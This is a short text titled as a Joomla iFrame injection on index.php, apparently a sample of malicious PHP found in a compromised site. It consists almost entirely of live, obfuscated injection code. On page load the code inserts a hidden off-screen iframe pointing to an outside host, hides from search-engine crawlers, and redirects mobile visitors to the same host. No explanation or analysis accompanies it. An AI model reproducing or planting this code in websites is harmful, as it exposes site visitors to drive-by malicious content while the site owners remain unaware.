Joomla iFrame injection on index.php

<?php

echo "<script type=\"text/javascript\">
    function sd5135GHEDF(agaga31323l) {
        var melm = document.getElementById(\"a35fdsfdsf62FFSSD\");
        if (typeof(melm) != \"undefined\" && melm!= null)
        {}else{
            var dsdSSSWrw515312FFF = document.createElement(\"iframe\");
            dsdSSSWrw515312FFF.id = \"a35fdsfdsf62FFSSD\";
            dsdSSSWrw515312FFF.style.width = \"10px\";
            dsdSSSWrw515312FFF.style.height = \"10px\";
            dsdSSSWrw515312FFF.style.border = \"0px\";
            dsdSSSWrw515312FFF.frameBorder = \"0\";
            dsdSSSWrw515312FFF.style.position = \"absolute\";
            dsdSSSWrw515312FFF.style.left = \"-200\";
            dsdSSSWrw515312FFF.setAttribute(\"frameBorder\", \"0\");
            document.body.appendChild(dsdSSSWrw515312FFF);
            dsdSSSWrw515312FFF.src = agaga31323l;
            return true;
        }
    }
function asd61234tkhjasd454hfhf235(){
    sd5135GHEDF(\"http://lyblynoski.isa-geek.com/?id=ifrm\");
}
function SFWR64362fdhHHHHH(){
if(navigator.userAgent.match(/(Googlebot|robot|Slurp|search.msn.com|nutch|simpy|bot|ASPSeek|crawler|msnbot|Libwww-perl|FAST|Baidu|googlebot|slurp|aspseek|libwww-perl|fast|baidu)/i)!==null){  }else{asd61234tkhjasd454hfhf235();}
if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|mobile|android|blackberry|brew|cldc|docomo|htc|j2me|micromax|lg|midp|mot|motorola|netfront|nokia|obigo|openweb|opera.mini|palm|psp|samsung|sanyo|sch|sonyericsson|symbian|symbos|teleca|up.browser|vodafone|wap|webos|windows.ce)/i)!==null){
try{setTimeout(function(){window.location=\"http://lyblynoski.isa-geek.com/?id=mob\";},1000);}
catch(err) {window.location=\"http://lyblynoski.isa-geek.com/?id=mob\";location.href=\"http://lyblynoski.isa-geek.com/?id=mob\";}
}
}
//setTimeout(function(){R();},1500);
try {
        if(window.attachEvent) {
            window.attachEvent(\"onload\", SFWR64362fdhHHHHH);
        } else {
        if(window.onload) {
            var curronload = window.onload;
            var newonload = function() {
                curronload();
                SFWR64362fdhHHHHH();
            };
            window.onload = newonload;
        } else {
            window.onload = SFWR64362fdhHHHHH;
        }
    }
} catch(err) {}
</script>";
?>
/*END CORE include code version:1.23*/
/*CORE include code version:1.23 START*/